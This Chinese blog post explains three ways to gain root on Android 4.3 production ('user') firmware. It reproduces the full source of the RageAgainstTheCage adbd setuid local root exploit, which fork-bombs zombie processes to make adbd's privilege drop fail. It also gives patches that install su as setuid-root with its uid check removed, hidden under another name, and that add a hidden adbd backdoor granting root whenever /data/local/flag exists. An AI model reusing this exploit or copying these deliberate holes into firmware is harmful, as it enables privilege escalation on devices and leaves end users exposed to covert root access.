您的位置:首页 > 移动开发 > Android开发

Android4.3 user版本提权root

2014-12-18 11:17 211 查看
Android user版本提权root:

软件版本:android4.3

硬件平台:marvell

方案一:

第一步,修改adb.c,添加可执行程序,完成root,修改如下:

adb.c:

注释掉下列部分,

/* then switch user and group to "shell" */
         if (setgid(AID_SHELL) != 0) {
             exit(1);
         if (setuid(AID_SHELL) != 0) {
             exit(1);
         }


改为setgid(AID_SHELL);

setuid(AID_SHELL);

否则set失败会退出,修改后防止setgid,setuid失败退出adbd启动。

第二步,添加如下代码,编译为可执行程序

/* android 1.x/2.x adb setuid() root exploit
    * (C) 2010 The Android Exploid Crew
    *
    * Needs to be executed via adb -d shell. It may take a while until
    * all process slots are filled and the adb connection is reset.
    *
    * !!!This is PoC code for educational purposes only!!!
    * If you run it, it might crash your device and make it unusable!
    * So you use it at your own risk!
   */
  #include <stdio.h>
  #include <sys/types.h>
  #include <sys/time.h>
  #include <sys/resource.h>
  #include <unistd.h>
  #include <fcntl.h>
  #include <errno.h>
  #include <string.h>
  #include <signal.h>
  #include <stdlib.h>
  
  
  void die(const char *msg)
  {
      perror(msg);
      exit(errno);
  }
  
  pid_t find_adb()
  {
      char buf[256];
      int i = 0, fd = 0;
      pid_t found = 0;
  
      for (i = 0; i < 32000; ++i) {
          sprintf(buf, "/proc/%d/cmdline", i);
          if ((fd = open(buf, O_RDONLY)) < 0)
              continue;
          memset(buf, 0, sizeof(buf));
          read(fd, buf, sizeof(buf) - 1);
          close(fd);
          if (strstr(buf, "/sbin/adb")) {
              found = i;
              break;
          }
          }
          return found;
  }
  
  
  void restart_adb(pid_t pid)
  {
      kill(pid, 9);
  }
  
  
  void wait_for_root_adb(pid_t old_adb)
  {
      pid_t p = 0;
  
      for (;;) {
          p = find_adb();
          if (p != 0 && p != old_adb)
              break;
          sleep(1);
      }
      sleep(5);
     kill(-1, 9);
  }
  
  
  int main(int argc, char **argv)
  {
      pid_t adb_pid = 0, p;
      int pids = 0, new_pids = 1;
      int pepe[2];
      char c = 0;
      struct rlimit rl;
  
      printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
      printf("[*] checking NPROC limit ...\n");
  
      if (getrlimit(RLIMIT_NPROC, &rl) < 0)
         die("[-] getrlimit");
 
     if (rl.rlim_cur == RLIM_INFINITY) {
         printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
         exit(1);
     }
 
     printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
     printf("[*] Searching for adb ...\n");
 
     adb_pid = find_adb();
 
     if (!adb_pid)
         die("[-] Cannot find adb");
 
     printf("[+] Found adb as PID %d\n", adb_pid);
     printf("[*] Spawning children. Dont type anything and wait for reset!\n");
     printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
            "[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
            "[*] If you are a company and feel like you profit from our work,\n"
            "[*] we also accept donations > 1000 USD!\n");
     printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");
 
     sleep(5);
 
     if (fork() > 0)
         exit(0); 
     setsid();
     pipe(pepe);
 
     /* generate many (zombie) shell-user processes so restarting
      * adb's setuid() will fail.
      * The whole thing is a bit racy, since when we kill adb
      * there is one more process slot left which we need to
      * fill before adb reaches setuid(). Thats why we fork-bomb
      * in a seprate process.
      */
     if (fork() == 0) {
         close(pepe[0]);
         for (;;) {
             if ((p = fork()) == 0) {
                 exit(0);
             } else if (p < 0) {
                 if (new_pids) {
                     printf("\n[+] Forked %d childs.\n", pids);
                     new_pids = 0;
                     write(pepe[1], &c, 1);
                     close(pepe[1]);
                 }
             } else {
                 ++pids;
             }
         }
     }
 
     close(pepe[1]);
     read(pepe[0], &c, 1);
 
 
     restart_adb(adb_pid);
 
     if (fork() == 0) {
         fork();
         for (;;)
             sleep(0x743C);
     }
 
     wait_for_root_adb(adb_pid);
     return 0;
}


将改动更新到系统中,然后执行上段代码生成的可执行程序即可。

该方案的实现原理:内核限制了每个用户所能创建的进程的总数,有内核中的一个宏值加以限制,只要超过该值,该用户创建进程就会失败,进一步分析,adb工具创建的进程ratc也运行在shell用户权限下;ratc一直创建子进程(ratc创建的子程序也将会运行在shell用户权限下),紧接着子程序退出,形成僵尸进程,占用shell用户的进程资源,直到到达shell用户的进程数为
RLIMIT_NPROC的时候(包括adbd、ratc及其子程序),这是ratc将会创建子进程失败。这时候杀掉adbd,adbd进程因为是 Android系统服务,将会被Android系统自动重启,这时候ratc也在竞争产生子程序。在adbd程序执行上面setgid和setuid之前,ratc已经创建了一个新的子进程,那么shell用户的进程限额已经达到,则adbd进程执行setgid和setuid将会失败。根据代码我们发现失败之后adbd将会继续执行。这样adbd进程将会运行在root权限下面了。这是重新用adb连接设备,则adb将会运行在root权限下面了。

方案二:

第一步:

在system/extras/su/su.c 中删除下面3行代码
if (myuid != AID_ROOT && myuid != AID_SHELL) {
   fprintf(stderr,"su: uid %d not allowed to su\n", myuid);
   return 1;
}

第二步:

更新system目录下android_filesystem_config.h
在android_files 数组中增加
{ 06755, AID_ROOT,      AID_ROOT,      0, "system/bin/su" },
注意这行要放在
{ 00755, AID_ROOT,      AID_SHELL,     0, "system/bin/*" },
之前

为防止普通用户执行su命令root user版本系统,可以将其编译成其他名字的可执行程序,只要你自己知道执行哪个文件root系统即可。

方案三:

依然是从adb入手,基本原理为判断某一目录下的某一文件,如果该文件存在,则adb返回root权限。

首先:修改system/core/adb目录下mk:

--- a/adb/Android.mk
+++ b/adb/Android.mk
@@ -120,7 +120,7 @@ LOCAL_SRC_FILES := \
 LOCAL_CFLAGS := -O2 -g -DADB_HOST=0 -Wall -Wno-unused-parameter
 LOCAL_CFLAGS += -D_XOPEN_SOURCE -D_GNU_SOURCE
 
-ifneq (,$(filter userdebug eng,$(TARGET_BUILD_VARIANT)))
+ifneq (,$(filter userdebug eng user,$(TARGET_BUILD_VARIANT)))
 LOCAL_CFLAGS += -DALLOW_ADBD_ROOT=1
 endif
其次:修改该目录下的adb.c文件,

--- a/adb/adb.c
+++ b/adb/adb.c
@@ -55,7 +55,11 @@ static int auth_enabled = 0;
 #if !ADB_HOST
 static const char *adb_device_banner = "device";
 #endif
-
+#define XR_ADBDROOT_OPEN
+#ifdef XR_ADBDROOT_OPEN
+#define XR_ADBDROOT_PATH       "/data/local/flag"
+int IsOpenAdbdRoot();
+#endif
 void fatal(const char *fmt, ...)
 {
     va_list ap;
@@ -1221,7 +1225,12 @@ static int should_drop_privileges() {
 #else /* ALLOW_ADBD_ROOT */
     int secure = 0;
     char value[PROPERTY_VALUE_MAX];
-
+#ifdef XR_ADBDROOT_OPEN
+       if (IsOpenAdbdRoot() >= 0)
+       {
+               return 0;
+       }
+#endif   
    /* run adbd in secure mode if ro.secure is set and
     ** we are not in the emulator
     */
@@ -1623,6 +1632,24 @@ int handle_host_request(char *service, transport_type ttype, char* serial, int r
 int recovery_mode = 0;
 #endif
 
+#ifdef XR_ADBDROOT_OPEN
+int IsOpenAdbdRoot()
+{
+       FILE *fd = NULL;
+       fd = fopen(XR_ADBDROOT_PATH, "r");
+       if(fd != NULL)
+       {
+               //char str[8] = {0};
+               //fgets(str, 4, fd);
+               fclose(fd);
+               //if (!strcmp(str, "root"))
+               {
+                       return 0;
+               }
+       }
+       return -1;
+}
+#endif
 int main(int argc, char **argv)
 {
 #if ADB_HOST
最后:创建/data/local/flag文件,可以将创建放到device目录,在产品目录下(含有‘pro.mk’),新建copyfiles目录,在copyfiles目录下,编辑copy.mk如下:

copy_files := $(subst $(LOCAL_PATH)/,, \
	$(filter-out %.mk,\
	$(patsubst ./%,%, \
	$(shell find $(LOCAL_PATH) -type f -name "*" -and -not -name ".*") \
	)))

PRODUCT_COPY_FILES += $(foreach file,$(copy_files),\
    $(LOCAL_PATH)/$(file):$(file))


然后将此mk,包含到pro.mk中,$(call inherit-product-if-exists, $(LOCAL_PATH)/copyfiles/copy.mk),在copyfiles目录下创建/data/local/flag文件,则编译完成,data目录下会有该文件。

本人目前发现的就这三种方法,如果还有其他方法,可以切磋,本篇博文有任何问题,还望指教~~~(~ o ~)~zZ
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: